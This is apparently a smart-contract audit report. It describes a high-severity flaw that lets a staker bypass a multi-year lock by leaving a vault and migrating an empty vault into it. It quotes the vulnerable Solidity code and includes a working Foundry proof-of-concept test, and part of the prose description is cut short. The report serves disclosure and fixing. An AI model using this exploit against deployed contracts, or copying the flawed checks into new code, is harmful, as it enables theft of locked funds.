HIGH severity: User can bypass lock and withdraw stake anytime. **Description:** Attack scenario is following:
1) User staked with lock, let's say 1000 tokens for 4 years
2) User registers new vault
3) User calls `StakeVault::leave` on locked vault. It sets `vault.stakedBalance = 0` and resets other values:

4) Migrate from new vault to locked. Checks will...

Vulnerable code:
function leave() external whenNotPaused onlyTrustedCodehash {
        _updateGlobalState();
        _updateVault(msg.sender, false);

        VaultData storage vault = vaultData[msg.sender];

        if (vault.stakedBalance > 0) {
            // calling `_unstake` to update accounting accordingly
@>          _unstake(vault.stakedBalance, vault);
        }

        uint256 rewardsToRedeem = vault.rewardsAccrued;
        // reset accrued rewards
        totalRewardsAccrued -= rewardsToRedeem;
        vault.rewardsAccrued = 0;
        vault.rewardIndex = 0;
        // further cleanup that isn't done in `_unstake`
        vault.lastMPUpdateTime = 0;

        bool success = REWARD_TOKEN.transfer(IStakeVault(msg.sender).owner(), rewardsToRedeem);
        if (!success) {
            revert StakeManager__RewardTransferFailed();
        }
        emit VaultLeft(msg.sender);
    }

function migrateToVault(address migrateTo)
        external
        onlyNotEmergencyMode
        whenNotPaused
        onlyTrustedCodehash
        onlyRegisteredVault
    {
@>      if (vaultOwners[migrateTo] == address(0)) {
            revert StakeManager__InvalidVault();
        }

@>      if (vaultData[migrateTo].stakedBalance > 0) {
            revert StakeManager__MigrationTargetHasFunds();
        }

        ...

        IStakeVault.MigrationData memory migrationData = IStakeVault.MigrationData({
            lockUntil: IStakeVault(msg.sender).lockUntil(),
            depositedBalance: IStakeVault(msg.sender).depositedBalance()
        });

@>      IStakeVault(migrateTo).migrateFromVault(migrationData);

        delete vaultData[msg.sender];

        emit VaultMigrated(msg.sender, migrateTo);
    }

    function migrateFromVault(MigrationData calldata data) external {
        if (msg.sender != address(stakeManager)) {
            revert StakeVault__NotAuthorized();
        }
@>      lockUntil = data.lockUntil;
        depositedBalance = data.depositedBalance;
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import { StakeVault } from "../../src/StakeVault.sol";
import { StakeManagerTest } from "./StakeManagerBase.t.sol";
import { UpgradeStakeManagerScript } from "../../script/UpgradeStakeManager.s.sol";
import { console } from "forge-std/console.sol";

contract BypassLockViaMigrationTest is StakeManagerTest {
    function setUp() public virtual override {
        super.setUp();
    }

    function test_a() public {
        uint256 stakeAmount = 1000e18;
        uint256 lockPeriod = 4 * 365 days; // 4 years

        StakeVault lockedVault = StakeVault(vaults[alice]);

        vm.startPrank(alice);
        stakingToken.approve(address(lockedVault), stakeAmount);
        lockedVault.stake(stakeAmount, lockPeriod);
        vm.stopPrank();

        vm.prank(alice);
        StakeVault emptyVault = vaultFactory.createVault();

        vm.prank(alice);
        lockedVault.leave(alice);

        vm.prank(alice);
        emptyVault.migrateToVault(address(lockedVault));

        uint256 balanceBefore = stakingToken.balanceOf(alice);
        vm.prank(alice);
        lockedVault.withdraw(stakingToken, stakeAmount, alice);
        console.log("tokens withdrawn %e", stakingToken.balanceOf(alice) - balanceBefore);
    }
}